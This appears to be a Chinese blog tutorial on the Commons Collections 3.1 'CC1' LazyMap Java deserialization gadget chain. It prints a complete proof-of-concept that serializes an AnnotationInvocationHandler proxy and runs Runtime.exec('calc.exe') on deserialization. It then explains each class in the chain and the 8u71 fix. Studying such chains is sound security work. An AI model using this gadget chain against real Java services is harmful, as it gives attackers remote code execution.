java日记:CC1

CC1(LazyMap)

这个链的构造需要版本<8u71

java反序列化的核心就是调用某个类重写过的(有漏洞的)readObject方法来实现任意命令执行。CC指的就是common collection包,里面存在一些危险的反序列化方法。

配置环境

用maven创建好项目后,在pom.xml的两个<dependency>里加入如下依赖项:

<dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.1</version>
    </dependency>

然后重新加载一下maven,下载上依赖项

源码

package org.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class },new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),};
        Transformer transformerChain = new
                ChainedTransformer(transformers);//Transformer链子构造

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);
        handler = (InvocationHandler)
                construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream  oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

}

Transformer

一个”变换器“(我随便说的,别当正式翻译了,以下“”里的内容基本都是我瞎编出来的)类,它只有一个接口,方法待实现。在被调用的时候,会触发它的Transform方法。

public interface Transformer {
    public Object transform(Object input);
}

以下是它的一些子类:

ConstantTransformer

“常量变换“,传入一个对象,然后原样返回。

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }//构造方法
    public Object transform(Object input) {
        return iConstant;
    }//自己实现的transform方法,返回值与input无关,只和构造时传入的对象有关

InvokerTransformer

”调用变换“,调用一个指定的方法(核心)

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }//构造函数,获取想要调用的方法,参数类型,参数
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        } catch......
            //反射调用传入对象里指定的方法

ChainedTransformer

”变换链“,把多个Transformer连接在一起,前一个Transformer的返回值作为后一个Transformer的参数。

public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }//构造方法,传入transformers数组
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }//按顺序调用链子里的各个transform方法,前一个返回值为后一个的参数

构造Transformer链子

Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class },new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),};
        Transformer transformerChain = new
                ChainedTransformer(transformers);//Transformer链子构造

1.ConstantTransformers传入:任意,返回:Runtime.class

2.InvokerTransformer传入:Runtime.class,调用:getMethod(getRuntime),返回:Runtime.getRuntime方法

3.InvokerTransformer传入:Runtime.getRuntime()方法,调用:Runtime.getRuntime().invoke(),返回一个Runtime对象

4.InvokerTransformer传入:Runtime对象,调用:Runtime.exec(calc.exe),弹计算器了

其实本质是一个反射调用的过程,因为Runtime对象不能序列化,但是Runtime.class可以,所以要多绕这么一步。

LazyMap

顾名思义,这是一个"懒"集合,这是它的get方法:

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

当你尝试访问LazyMap的一个键的时候,如果这个键存在,则直接获取它的值,否则会调用它自己的transform方法来生成一个值,也就是懒加载,跟线段树有点像,需要这个键的时候,才去生成。

这是它的构造函数:

protected LazyMap(Map map, Factory factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = FactoryTransformer.getInstance(factory);
    }

也就是调用一个工厂类,把他变为自己的FactoryTransformer

由于LazyMap的构造函数是私有的,我们创建一个新的hashMap,用LazyMap.decorate方法装饰它,那个方法是public static,获得一个被装饰过的恶意Map。

 Map innerMap = new HashMap();
 Map outerMap = LazyMap.decorate(innerMap, transformerChain);

现在我们就需要想办法调用这个outerMapget()方法就可以。get里面的键是什么都行(因为ConstantTransformer无论传入什么都会返回构造时传入的那个类),只要不存在(否则就不会调用transform方法了)。

AnnotationInvocationHandler

”注解调用处理器“,先贴上invoke()部分的部分代码

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

直接看到最后一行调用了memberValues.get(member),然后看到它的构造函数,memberValue就是一个map对象,这正是我们想要的。

看到这两个if:

        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

只需要我们调用的方法不为equals,且是无参调用即可。

Proxy

但是要怎么调用呢?这个类implements了InvocationHandler接口,可以作为动态代理的代理处理器,有这个接口的类必须重写invoke方法,并且在调用代理处理器的无参方法之前都会先调用这个invoke方法。

简单来说就是,用Proxy.newProxyInstance创建一个”代理“对象,只要调用了这个对象的任意方法,就会触发指定的代理处理器的invoke方法,这边代理处理器就指定上面那个AnnotationInvocationHandler(这类名也是够长的)

所以说我们就指定上面那个类为代理处理器,反射创建一个AnnotationInvocationHandler对象,然后创建一个Proxy,并强制类型转换成Map:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);

对了,注意一下AnnotationInvocationHandler的构造方法:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

要求第一个参数是Annotation(注解)类型,其只能有一个接口,且是java.lang.annotation.Annotation.class,传Rention和Documented(或者更多)都可以。

代理方法的调用

那么现在,proxymap就是一个添加了代理方法的恶意map,只要调用它的任意无参方法就会触发RCE。那要如何调用呢?答案就是AnnotationInvocationHandlerreadObject方法。

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())

这里循环就直接调用了map的无参方法了。

所以我们再用之前反射好的那个构造器再创建一个AnnotationInvocationHandler对象,把proxymap传进去

handler = (InvocationHandler)
                construct.newInstance(Retention.class, proxyMap);

这样反序列化的时候就能RCE了。

总结

调用流程:

AnnotationInvocationHandler.readObject()->
proxymap.entrySet()                     ->
AnnotationInvocationHandler.Invoke()    ->
LazyMap.get()                           ->
LazyMap.transform()                     ->
Transformer[]                           ->
calc.exe

本质就是从....#readObject -> transformer#transform(),后者可以方便的执行任意代码。

修复

在8u71的java中,对AnnotationInvocationHandlerreadObject方法做了调整。它会新建一个LinkedHashMap对象,并把原来的键值对读取进去,就不会触发我们精心构造的proxymap的方法了。

← Back to Home